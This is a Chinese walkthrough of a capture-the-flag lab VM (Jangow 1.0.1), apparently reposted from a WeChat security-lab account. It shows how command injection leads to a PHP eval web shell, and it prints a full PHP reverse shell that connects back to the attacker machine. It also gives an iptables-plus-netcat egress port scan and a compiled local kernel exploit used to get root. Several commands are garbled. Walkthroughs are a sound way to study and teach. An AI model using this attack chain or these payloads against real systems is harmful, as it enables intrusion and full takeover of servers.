MD5 :B9E912D79CC304676E1A07558284B8AB
SHA1:3E50B4168FA2D83AA10F05D2F66C5A7071F3C927
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户模式
启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。
这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。
切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件进行修改:vi /etc/network/interfaces
(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)
6. 保存并退出
在 vi 编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。
注意: 在 vi 编辑器中,删除字符时只能使用Delete键,Backspace键只能移动光标,不能删除字符。与 vim 类似,但操作起来可能稍显不便。
7. 重启网络服务
修改网络配置后,重启网络服务:/etc/init.d/networking restart
8. 检查 IP 配置
再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。
9. 完成配置并重启系统
完成网络配置后,进行系统关机并重启。注意:必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
user.txt:d41d8cd98f00b204e9800998ecf8427e
proof.txt:da39a3ee5e6b4b0d3255bfef95601890afd8070
nmap -sV -v -T4 -A192.168.241.139
访问http://192.168.241.139,发现site文件夹。
再次访问后,跳转到网站首页。
在http://192.168.241.139/site/busque.php?buscar=页面,发现可以执行命令。
扫描site页面并未发现有用信息。
echo'<?php eval($_POST["shell"]);' >> shell.php
上传成功,发现shell.php文件。
使用哥斯拉进行连接。
创建一个php文件,输入以下命令。
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.241.138';
$port = 9876;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print"$stringn";
}
}
?>
kali linux监听,始终失败,换了好几个端口也不行。
换个方法:使用iptables把所有流量转发到一个指定的端口。随后上传脚本探测,即可获得端口开放信息。
攻击机输入以下命令:
iptables -A PREROUTING -D nat -p tcp --dport80:500 -j REDIRECT --to-port 9875
靶机新建DK.sh文件,并上传以下代码:
for i in {400..450};
do
timeout 1 nc -vz 192.168.241.138 $i && echo"$i open" >> 1.txt || echo"$i closed" >> 1.txt;
done
探测到开放了443端口。
将反弹端口改为443,重新监听。
监听成功,创建交互式shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
serarchsploit ubuntu 4.4.0-31
将该文件复制到根目录。
searchsploit -m linux/local/45010.c
开启http服务,下载该文件到靶机。
python -m http.server 6654
上传失败,手动上传到靶机。
对该文件进行编译,获得可执行文件。
gcc 45010.c -o FVV
执行该文件,获取root权限。
./FVV
da39a3ee5e6b4b0d3255bfef95601890afd80709
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Jangow: 1.0.1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论